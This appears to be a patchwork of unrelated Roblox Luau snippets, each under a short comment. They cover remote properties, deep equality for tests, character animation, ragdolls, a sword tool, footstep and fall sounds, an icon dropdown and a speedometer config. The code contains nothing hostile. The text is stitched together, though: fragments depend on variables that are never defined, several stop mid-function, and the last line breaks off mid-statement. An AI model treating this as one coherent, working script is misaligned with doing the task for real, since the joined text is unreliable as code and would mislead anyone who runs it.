RemoteProperty object will _not_ watch for changes within the table. Therefore, anytime changes are made to the table, the data must be set again using one of the setter methods. ::: ]=]
local RemoteProperty = {} RemoteProperty.__index = RemoteProperty function RemoteProperty.new( parent: Instance, name: string, initialValue: any, inboundMiddleware: Types.ServerMiddleware?, outboundMiddleware: Types.ServerMiddleware? ) local self = setmetatable({}, RemoteProperty) self._rs = RemoteSignal.new(parent, name, inboundMiddleware, outboundMiddleware) self._value = initialValue self._perPlayer = {} self._playerRemoving = Players.PlayerRemoving:Connect(function(player) self._perPlayer[player] = nil end) self._rs:Connect(function(player) local playerValue = self._perPlayer[player] local value = if playerValue == nil then self._value elseif playerValue == None then nil else playerValue self._rs:Fire(player, value) end) return self end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 10 -- cooldown for use of the tool again ZoneModelName = "Spin bone" -- name the zone model MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- Hook up CreateIndicator bindable function
bfCreateIndicator.OnInvoke = function (position, time) assert(position, "requires arg #1 position") assert(time, "requires arg #2 time") return Indicator:new{time = time; position = position;} end
-- ROBLOX MOVED: expect/jasmineUtils.lua -- Equality function lovingly adapted from isEqual in -- [Underscore](http://underscorejs.org)
local function eq( a: any, b: any, aStack: Array<any>, bStack: Array<any>, customTesters: Array<Tester>, _hasKey: any ): boolean local result = true local asymmetricResult = asymmetricMatch(a, b) if asymmetricResult ~= nil then return asymmetricResult end for _, value in ipairs(customTesters) do local customTesterResult = value(a, b) if customTesterResult ~= nil then return customTesterResult end end -- ROBLOX deviation: code omitted because there are no error objects in Lua if Object.is(a, b) then return true end -- ROBLOX deviation: code omitted that does strict comparison because we don't -- have similar concerns in Lua where there are no distinct 'null' and -- 'undefined' types -- ROBLOX deviation: as part of the upstream className check, a type difference of -- array/non-array would be detected so we add this in manually local className = getType(a) if className ~= getType(b) then return false elseif Array.isArray(a) ~= Array.isArray(b) then return false end -- ROBLOX deviation: code omitted for elseif case with regular expressions since -- Lua doesn't have a built in regular expression type if className == "boolean" or className == "string" or className == "number" or className == "userdata" then return Object.is(a, b) elseif className == "DateTime" then return a == b elseif className == "regexp" then return tostring(a) == tostring(b) end if typeof(a) ~= "table" or typeof(b) ~= "table" then return false end -- DOM code omitted for now but translated here --[[ if isDomNode(a) and isDomNode(b) then return a.isEqualNode(b) end --]] -- Used to detect circular references. local length = #aStack while length > 0 do -- Linear search. Performance is inversely proportional to the number of -- unique nested structures. -- circular references at same depth are equal -- circular reference is not equal to non-circular one if aStack[length] == a then return bStack[length] == b elseif bStack[length] == b then return false end length -= 1 end -- Add the first object to the stack of traversed objects. table.insert(aStack, a) table.insert(bStack, b) -- Recursively compare objects and arrays. -- Compare array lengths to determine if a deep comparison is necessary. if Array.isArray(a) and #a ~= #b then return false end -- Deep compare objects local aKeys = keys(a, _hasKey) local size = #aKeys -- Ensure that both objects contain the same number of properties before comparing deep equality. if #keys(b, _hasKey) ~= size then return false end while size > 0 do local key = aKeys[size] -- Deep compare each member result = hasKey(b, key) and eq(a[key], b[key], aStack, bStack, customTesters, _hasKey) if not result then return false end size -= 1 end -- Remove the first object from the stack of traversed objects. table.remove(aStack) table.remove(bStack) return result end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if toolAnim == "None" then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if toolAnim == "Slash" then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if toolAnim == "Lunge" then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.ClassName == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix") if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- Returns the name of the state
function BaseState:GetName() return self.stateFolder.name end
--[[ Client side script that requests a bomb throw if the player activates their tool outside of cooldown ]]
local Players = game:GetService("Players") local localPlayer = Players.LocalPlayer local mouse = localPlayer:GetMouse() local tool = script.Parent local fireEvent = tool:WaitForChild("Fire") local cooldown = tool:WaitForChild("Cooldown").Value local lastThrow = 0 tool.Activated:Connect( function() local nowTick = tick() if nowTick - lastThrow > cooldown then lastThrow = nowTick local character = localPlayer.Character if character and character.PrimaryPart then local origin = character.PrimaryPart.Position local target = mouse.Hit.p fireEvent:FireServer(origin, target) end end end )
--!nocheck -- ^ change to strict to crash studio c:
local oldtypeof = typeof local function typeof(objIn: any): string local objType = oldtypeof(objIn) if objType ~= "table" then return objType end -- Could be a custom type if it's a table. local meta = getmetatable(objIn) if oldtypeof(meta) ~= "table" then return objType end -- Has a metatable that's an exposed table. local customType: string? = meta["__type"] -- I want to mandate that this is a string. if customType == nil then return objType end -- Has a type field return customType end return typeof
--Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
Rig.Character = Character Rig.CreateFolders() Rig.FindParts() Rig.CreateAltRootMotor() Rig.ScaleAltRootMotorOffset() Rig.CreateConstraints() Rig.BuildConstraintRig() if Settings.CreateAccessoryConstraints == true then Rig.CreateAccessoryConstraints() end Rig.CreateNoClipCollisionGroup() Rig.TakeCareOfRootPartAndHead() Rig.CreateCustomHeadCollisionBox() Rig.CreateNoCollisionConstraints() local Debris = game:GetService("Debris") local IsRagdollNow = false local CurrentCooldown = 0 function ragdoll(Mode,Velocity) if Mode == true then if IsRagdollNow then spawn(function() if Velocity then Functions_RemoteVelocity:InvokeClient(Player,Velocity) end end) return end IsRagdollNow = true CurrentCooldown = time()+Settings.UnRagdollCooldown Variables_Ragdoll.Value = true Rig.ToggleRagdollRig(true) Functions_RemoteRagdoll:InvokeClient(Player,true,Velocity) elseif Mode == "dead" then if Settings.CloneCharacterOnDeath then Player.CharacterRemoving:Connect(function() Character.Archivable = true Humanoid.AutomaticScalingEnabled = false local CharClone = Character:Clone() CharClone.Name = Player.Name.."'s Ragdoll" for _,v in pairs(CharClone:GetDescendants()) do if v:IsA("BaseScript") or v:IsA("Sound") then v:Destroy() end end Character:Destroy() CharClone.Parent = workspace Addons.KillHumanoid(CharClone.Humanoid) if Settings.AutoCleanup and Settings.AutoCleanupTime then Debris:AddItem(CharClone, Settings.AutoCleanupTime) end pcall(function() for _,v in pairs(CharClone:GetDescendants()) do if v:IsA("BasePart") then v:SetNetworkOwnershipAuto() end end end) end) end else if not IsRagdollNow then return end IsRagdollNow = false Variables_Ragdoll.Value = false Rig.ToggleRagdollRig(false) Functions_RemoteRagdoll:InvokeClient(Player,false) end end local HealthConnection HealthConnection = Humanoid:GetPropertyChangedSignal("Health"):Connect(function() if Humanoid.Health <= 0 then HealthConnection:Disconnect() --Preparing for death sequence pcall(function() Character.Health:Destroy() end) -- PLACE FOR CODE MEANT TO HAPPEN BEFORE ACTUALLY KILLING --Executing code that needs to run before death to avoid bugs --Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, true) --Killing Addons.KillHumanoid(Humanoid) ragdoll(true) --Ragdolling if Settings.BreakJointsOnDeath then Addons.DestroyMotors(Rig.Motors) end --Breaking joints after ragdolling to ensure consistency with ragdolling normally ragdoll("dead") --Executing post-mortem events end end) Variables_Ragdoll:GetPropertyChangedSignal("Value"):Connect(function() if Humanoid.Health > 0 then ragdoll(Variables_Ragdoll.Value) end end)
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Rust",Paint) end)
--[=[ Retrieves a global remote function from the store. On the server, it constructs a new one, and on the client, it waits for it to exist. :::tip Consider using [PromiseGetRemoteFunction] for a non-yielding version ::: ```lua -- server.lua local GetRemoteFunction = require("GetRemoteFunction") local remoteFunction = GetRemoteFunction("testing") remoteFunction.OnServerInvoke = function(_player, text) return "HI " .. tostring(text) end -- client.lua local GetRemoteFunction = require("GetRemoteFunction") local remoteFunction = GetRemoteFunction("testing") print(remoteFunction:InvokeServer("Bob")) --> HI Bob ``` :::info If the game is not running, then a mock remote function will be created for use in testing. ::: @yields @function GetRemoteFunction @within GetRemoteFunction @param name string @return RemoteFunction ]=]
local require = require(script.Parent.loader).load(script) local ReplicatedStorage = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local ResourceConstants = require("ResourceConstants") if not RunService:IsRunning() then return function(name) local func = Instance.new("RemoteFunction") func.Name = "Mock" .. name func.Archivable = false return func end elseif RunService:IsServer() then return function(name) assert(type(name) == "string", "Bad name") local storage = ReplicatedStorage:FindFirstChild(ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME) if not storage then storage = Instance.new("Folder") storage.Name = ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME storage.Archivable = false storage.Parent = ReplicatedStorage end local func = storage:FindFirstChild(name) if func then return func end func = Instance.new("RemoteFunction") func.Name = name func.Archivable = false func.Parent = storage return func end else -- RunService:IsClient() return function(name) assert(type(name) == "string", "Bad name") return ReplicatedStorage:WaitForChild(ResourceConstants.REMOTE_FUNCTION_STORAGE_NAME):WaitForChild(name) end end
--[[ ___ _______ _ _______ / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / / /_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/ SecondLogic @ Inspare Avxnturador @ Novena ]]
local autoscaling = true --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, }
--[[ Calls await and only returns if the Promise resolves. Throws if the Promise rejects or gets cancelled. ]]
function Promise.prototype:awaitValue(...) local length, result = pack(self:awaitStatus(...)) local status = table.remove(result, 1) assert( status == Promise.Status.Resolved, tostring(result[1] == nil and "" or result[1]) ) return unpack(result, 1, length - 1) end
-- Connect to the current and all future cameras
workspace.Changed:connect(OnWorkspaceChanged) OnWorkspaceChanged('CurrentCamera') Player.CharacterAdded:connect(OnCharacterAdded) if Player.Character then OnCharacterAdded(Player.Character) end Behaviors[MODE.CUSTOM] = function() end -- (Does nothing until SetCustomBehavior) Behaviors[MODE.LIMBS] = LimbBehavior Behaviors[MODE.MOVEMENT] = MoveBehavior Behaviors[MODE.CORNERS] = CornerBehavior Behaviors[MODE.CIRCLE1] = CircleBehavior Behaviors[MODE.CIRCLE2] = CircleBehavior Behaviors[MODE.LIMBMOVE] = LimbMoveBehavior Invisicam:SetMode(STARTING_MODE) return Invisicam
-- Dropdowns
function Icon:setDropdown(arrayOfIcons) -- Reset any previous icons for i, otherIcon in pairs(self.dropdownIcons) do otherIcon:leave() end -- Apply new icons for i, otherIcon in pairs(arrayOfIcons) do otherIcon:join(self, "dropdown", true) end -- Update dropdown self:_updateDropdown() return self end function Icon:_updateDropdown() local values = { maxIconsBeforeScroll = self:get("dropdownMaxIconsBeforeScroll") or "_NIL", minWidth = self:get("dropdownMinWidth") or "_NIL", padding = self:get("dropdownListPadding") or "_NIL", dropdownAlignment = self:get("dropdownAlignment") or "_NIL", iconAlignment = self:get("alignment") or "_NIL", scrollBarThickness = self:get("dropdownScrollBarThickness") or "_NIL", } for k, v in pairs(values) do if v == "_NIL" then return end end local YPadding = values.padding.Offset local dropdownContainer = self.instances.dropdownContainer local dropdownFrame = self.instances.dropdownFrame local dropdownList = self.instances.dropdownList local totalIcons = #self.dropdownIcons local lastVisibleIconIndex = (totalIcons > values.maxIconsBeforeScroll and values.maxIconsBeforeScroll) or totalIcons local newCanvasSizeY = -YPadding local newFrameSizeY = 0 local newMinWidth = values.minWidth table.sort(self.dropdownIcons, function(a,b) return a:get("order") < b:get("order") end) for i = 1, totalIcons do local otherIcon = self.dropdownIcons[i] local _, otherIconSize = otherIcon:get("iconSize", nil, "beforeDropdown") local increment = otherIconSize.Y.Offset + YPadding if i <= lastVisibleIconIndex then newFrameSizeY = newFrameSizeY + increment end if i == totalIcons then newFrameSizeY = newFrameSizeY + increment/4 end newCanvasSizeY = newCanvasSizeY + increment local otherIconWidth = otherIconSize.X.Offset --+ 4 + 100 -- the +100 is to allow for notices if otherIconWidth > newMinWidth then newMinWidth = otherIconWidth end end local finalCanvasSizeY = (lastVisibleIconIndex == totalIcons and 0) or newCanvasSizeY self:set("dropdownCanvasSize", UDim2.new(0, 0, 0, finalCanvasSizeY)) self:set("dropdownSize", UDim2.new(0, (newMinWidth+4)*2, 0, newFrameSizeY)) -- Set alignment while considering screen bounds local dropdownAlignment = values.dropdownAlignment:lower() local alignmentDetails = { left = { AnchorPoint = Vector2.new(0, 0), PositionXScale = 0, ThicknessMultiplier = 0, }, mid = { AnchorPoint = Vector2.new(0.5, 0), PositionXScale = 0.5, ThicknessMultiplier = 0.5, }, right = { AnchorPoint = Vector2.new(0.5, 0), PositionXScale = 1, FrameAnchorPoint = Vector2.new(0, 0), FramePositionXScale = 0, ThicknessMultiplier = 1, } } local alignmentDetail = alignmentDetails[dropdownAlignment] if not alignmentDetail then alignmentDetail = alignmentDetails[values.iconAlignment:lower()] end dropdownContainer.AnchorPoint = alignmentDetail.AnchorPoint dropdownContainer.Position = UDim2.new(alignmentDetail.PositionXScale, 0, 1, YPadding+0) local scrollbarThickness = values.scrollBarThickness local newThickness = scrollbarThickness * alignmentDetail.ThicknessMultiplier local additionalOffset = (dropdownFrame.VerticalScrollBarPosition == Enum.VerticalScrollBarPosition.Right and newThickness) or -newThickness dropdownFrame.AnchorPoint = alignmentDetail.FrameAnchorPoint or alignmentDetail.AnchorPoint dropdownFrame.Position = UDim2.new(alignmentDetail.FramePositionXScale or alignmentDetail.PositionXScale, additionalOffset, 0, 0) self._dropdownCanvasPos = Vector2.new(0, 0) end function Icon:_dropdownIgnoreClipping() self:_ignoreClipping("dropdown") end
-- If GetTranslatorForPlayerAsync succeeds, it will return a Translator for player's current locale
local res, translator = pcall(function() return LocalizationService:GetTranslatorForPlayerAsync(player) end)
-- Updating the healthbar
game:GetService("RunService").RenderStepped:Connect(function() local humanoid = char:FindFirstChild("Humanoid") healthbar.GreenFrame.Size = UDim2.new(humanoid.Health/humanoid.MaxHealth,0,1,0) healthbar.HealthStatus.Text = math.floor(humanoid.Health).."/"..humanoid.MaxHealth end)
--SFX ID to Sound object
local Sounds = {} do local Figure = script.Parent.Parent Head = Figure:WaitForChild("Head") while not Humanoid do for _,NewHumanoid in pairs(Figure:GetChildren()) do if NewHumanoid:IsA("Humanoid") then Humanoid = NewHumanoid break end end Figure.ChildAdded:wait() end Sounds[SFX.Died] = Head:WaitForChild("Died") Sounds[SFX.Running] = Head:WaitForChild("Running") Sounds[SFX.Swimming] = Head:WaitForChild("Swimming") Sounds[SFX.Climbing] = Head:WaitForChild("Climbing") Sounds[SFX.Jumping] = Head:WaitForChild("Jumping") Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp") Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling") Sounds[SFX.Landing] = Head:WaitForChild("Landing") Sounds[SFX.Splash] = Head:WaitForChild("Splash") end local Util Util = { --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y) --(y - y1)/(x - x1) = m local m = (pt1y - pt2y) / (pt1x - pt2x) --float b = pt1.y - m * pt1.x; local b = (pt1y - m * pt1x) return m * x + b end; --Clamps the value of "val" between the "min" and "max" Clamp = function(val,min,max) return math.min(max,math.max(min,val)) end; --Gets the horizontal (x,z) velocity magnitude of the given part HorizontalSpeed = function(Head) local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0) return hVel.magnitude end; --Gets the vertical (y) velocity magnitude of the given part VerticalSpeed = function(Head) return math.abs(Head.Velocity.Y) end; --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop --If these properties are enabled, use them. Play = function(sound) if sound.TimePosition ~= 0 then sound.TimePosition = 0 end if not sound.IsPlaying then sound.Playing = true end end; Pause = function(sound) if sound.IsPlaying then sound.Playing = false end end; Resume = function(sound) if not sound.IsPlaying then sound.Playing = true end end; Stop = function(sound) if sound.IsPlaying then sound.Playing = false end if sound.TimePosition ~= 0 then sound.TimePosition = 0 end end; } do -- List of all active Looped sounds local playingLoopedSounds = {} -- Last seen Enum.HumanoidStateType local activeState = nil -- Verify and set that "sound" is in "playingLoopedSounds". function setSoundInPlayingLoopedSounds(sound) for i=1, #playingLoopedSounds do if playingLoopedSounds[i] == sound then return end end table.insert(playingLoopedSounds,sound) end -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped. function stopPlayingLoopedSoundsExcept(except) for i=#playingLoopedSounds,1,-1 do if playingLoopedSounds[i] ~= except then Util.Pause(playingLoopedSounds[i]) table.remove(playingLoopedSounds,i) end end end -- Table of Enum.HumanoidStateType to handling function local stateUpdateHandler = { [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Died] Util.Play(sound) end; [Enum.HumanoidStateType.RunningNoPhysics] = function() stateUpdated(Enum.HumanoidStateType.Running) end; [Enum.HumanoidStateType.Running] = function() local sound = Sounds[SFX.Running] stopPlayingLoopedSoundsExcept(sound) if Util.HorizontalSpeed(Head) > 0.5 then Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) else stopPlayingLoopedSoundsExcept() end end; [Enum.HumanoidStateType.Swimming] = function() if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then local splashSound = Sounds[SFX.Splash] splashSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 100, 0.28, 350, 1), 0,1) Util.Play(splashSound) end do local sound = Sounds[SFX.Swimming] stopPlayingLoopedSoundsExcept(sound) Util.Resume(sound) setSoundInPlayingLoopedSounds(sound) end end; [Enum.HumanoidStateType.Climbing] = function() local sound = Sounds[SFX.Climbing] if Util.VerticalSpeed(Head) > 0.1 then Util.Resume(sound) stopPlayingLoopedSoundsExcept(sound) else stopPlayingLoopedSoundsExcept() end setSoundInPlayingLoopedSounds(sound) end; [Enum.HumanoidStateType.Jumping] = function() if activeState == Enum.HumanoidStateType.Jumping then return end stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.Jumping] Util.Play(sound) end; [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSoundsExcept() local sound = Sounds[SFX.GettingUp] Util.Play(sound) end; [Enum.HumanoidStateType.Freefall] = function() if activeState == Enum.HumanoidStateType.Freefall then return end local sound = Sounds[SFX.FreeFalling] sound.Volume = 0 stopPlayingLoopedSoundsExcept() end; [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSoundsExcept() end; [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSoundsExcept() if Util.VerticalSpeed(Head) > 75 then local landingSound = Sounds[SFX.Landing] landingSound.Volume = Util.Clamp( Util.YForLineGivenXAndTwoPts( Util.VerticalSpeed(Head), 50, 0, 100, 1), 0,1) Util.Play(landingSound) end end } -- Handle state event fired or OnChange fired function stateUpdated(state) if stateUpdateHandler[state] ~= nil then stateUpdateHandler[state]() end activeState = state end Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end) Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end) Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end) Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end) Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end) Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end) Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end) Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end) -- required for proper handling of Landed event Humanoid.StateChanged:connect(function(old, new) stateUpdated(new) end) function onUpdate(stepDeltaSeconds, tickSpeedSeconds) local stepScale = stepDeltaSeconds / tickSpeedSeconds do local sound = Sounds[SFX.FreeFalling] if activeState == Enum.HumanoidStateType.Freefall then if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then Util.Resume(sound) --Volume takes 1.1 seconds to go from volume 0 to 1 local ANIMATION_LENGTH_SECONDS = 1.1 local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1) else sound.Volume = 0 end else Util.Pause(sound) end end do local sound = Sounds[SFX.Running] if activeState == Enum.HumanoidStateType.Running then if Util.HorizontalSpeed(Head) < 0.5 then Util.Pause(sound) end end end end local lastTick = tick() local TICK_SPEED_SECONDS = 0.25 while true do onUpdate(tick() - lastTick,TICK_SPEED_SECONDS) lastTick = tick() wait(TICK_SPEED_SECONDS) end end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create DamageValues = { BaseDamage = 10, SlashDamage = 20, } Damage = DamageValues.BaseDamage BaseUrl = "http://www.roblox.com/asset/?id=" BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false Rate = (1 / 60) AnimationsBin = Tool:WaitForChild("Animations") R6Anims = AnimationsBin:WaitForChild("R6") R15Anims = AnimationsBin:WaitForChild("R15") Animations = { R6LeftSlash = {Animation = R6Anims:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R6RightSlash = {Animation = R6Anims:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R6SideSwipe = {Animation = R6Anims:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, R15LeftSlash = {Animation = R15Anims:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15RightSlash = {Animation = R15Anims:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15SideSwipe = {Animation = R15Anims:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, } Sounds = { Unsheath = Handle:WaitForChild("Unsheath"), Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), } ToolEquipped = false Remotes = (Tool:FindFirstChild("Remotes") or Create("Folder"){ Name = "Remotes", Parent = Tool, }) ServerControl = (Remotes:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Remotes, }) ClientControl = (Remotes:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Remotes, }) Handle.Transparency = 0 Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function CheckTableForInstance(Table, Instance) for i, v in pairs(Table) do if v == Instance then return true end end return false end function DealDamage(character, damage) if not CheckIfAlive() or not character then return end local damage = (damage or 0) local humanoid = character:FindFirstChild("Humanoid") local rootpart = character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso") if not humanoid or humanoid.Health == 0 or not rootpart then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(damage) end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Blow(Part) local PartTouched local HitDelay = false PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then return end local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")) if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end HitDelay = true local TotalDamage = Damage DealDamage(character, TotalDamage) local Now = tick() wait(0.05) HitDelay = false end) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() --[[local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", } Debris:AddItem(Anim, 2) Anim.Parent = Tool]] local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.R6LeftSlash, Animations.R6RightSlash, Animations.R6SideSwipe}) or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe})) local Animation = SwingAnimations[math.random(1, #SwingAnimations)] Spawn(function() InvokeClient("PlayAnimation", Animation) end) wait(Animation.Duration) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false Attack() Damage = DamageValues.BaseDamage Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end Humanoid.WalkSpeed = (17) Sounds.Unsheath:Play() ToolEquipped = true end function Unequipped() if CheckIfAlive() then Humanoid.WalkSpeed = 16 end ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle)
-- ROBLOX deviation: use `unknown` type until Luau starts to support it
type unknown = any
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) local idleFromEmote = (animName == "idle" and emoteNames[currentAnim]) if animName ~= currentAnim and not idleFromEmote then if currentAnimTrack then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end currentAnimSpeed = 1.0 local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
--This script is used for when the bomb is in the dropped weapons model in the workspace :o
local gundrops = game.Workspace:WaitForChild("Debris") c4where = false if game.Players.LocalPlayer.TeamColor == BrickColor.new("Bright yellow") then gundrops.ChildAdded:connect(function(newobj) if newobj.Name == "C4" then c4where = true script.BillboardGui.Adornee = newobj script.BillboardGui.TextLabel.Visible = true end end) gundrops.ChildRemoved:connect(function(oldobj) if oldobj.Name == "C4" then c4where = false script.BillboardGui.Adornee = nil script.BillboardGui.TextLabel.Visible = false end end) end
-- dispeller's Open Sourced Inventory system -- 2019
weld33.C1 = CFrame.new
